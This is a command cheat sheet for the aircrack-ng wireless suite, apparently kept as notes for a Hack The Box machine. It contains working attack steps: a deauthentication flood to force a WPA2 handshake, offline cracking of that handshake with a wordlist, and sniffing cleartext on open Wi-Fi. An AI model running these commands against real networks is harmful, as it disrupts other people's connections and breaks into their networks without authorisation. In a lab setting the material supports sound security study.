🛠️ Airmon-ng

Installation

sudo apt install aircrack-ng        # provides airmon-ng, airodump-ng, aireplay-ng, aircrack-ng

Common Commands

CommandDescription
airmon-ngList wireless interfaces + drivers (no args)
airmon-ng start <iface> [ch]Monitor mode on <iface> (optional channel) → <iface>mon
airmon-ng stop <iface>monRevert to managed mode
airmon-ng check killKill NetworkManager/wpa_supplicant that interfere
airodump-ng <mon>Live scan of APs + clients on <mon>
aireplay-ng --deauth <n> -a <bssid> <mon>Send n deauth frames (force handshake/reconnect)
aircrack-ng -w <wl> -b <bssid> <cap>Crack a captured WPA handshake

Reusable Commands

# --- enter monitor mode on a specific channel (iface -> ifacemon) ---
IFACE=wlan1; CH=6
sudo airmon-ng check kill
sudo airmon-ng start "$IFACE" "$CH"
iw dev "${IFACE}mon" info | grep channel        # confirm; fix if wrong:
sudo iw dev "${IFACE}mon" set channel "$CH"
 
# --- survey the air: discover everything, then focus + log one AP ---
sudo airodump-ng "${IFACE}mon"
sudo airodump-ng -c "$CH" --bssid <AP_BSSID> -w /tmp/dump "${IFACE}mon"
 
# --- capture + crack a WPA2 handshake ---
sudo aireplay-ng --deauth 5 -a <AP_BSSID> -c <CLIENT_MAC> "${IFACE}mon"
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <AP_BSSID> /tmp/dump-01.cap
 
# --- tear down cleanly ---
sudo airmon-ng stop "${IFACE}mon"
sudo systemctl start NetworkManager

Tips & Tricks

  • airmon-ng start renames the iface to <iface>mon and often leaves it on the wrong channel — always verify with iw dev <mon> info and set the target AP’s channel, or captures come back empty.
  • For open networks you don’t need aireplay/aircrack at all — just monitor the channel and read cleartext with tcpdump / (incomplete) WireShark. See Open WiFi Traffic Sniffing.
  • Pure-iw alternative (no aircrack): iw dev <iface> interface add mon0 type monitor && ip link set mon0 up && iw dev mon0 set channel <ch>.
  • One radio can’t be managed + monitor at once; use a second interface (nmcli) if you also need to join the network for L3 access.
FileCreated
HTB Machine - LayoverOctober 04, 2026

References: aircrack-ng documentation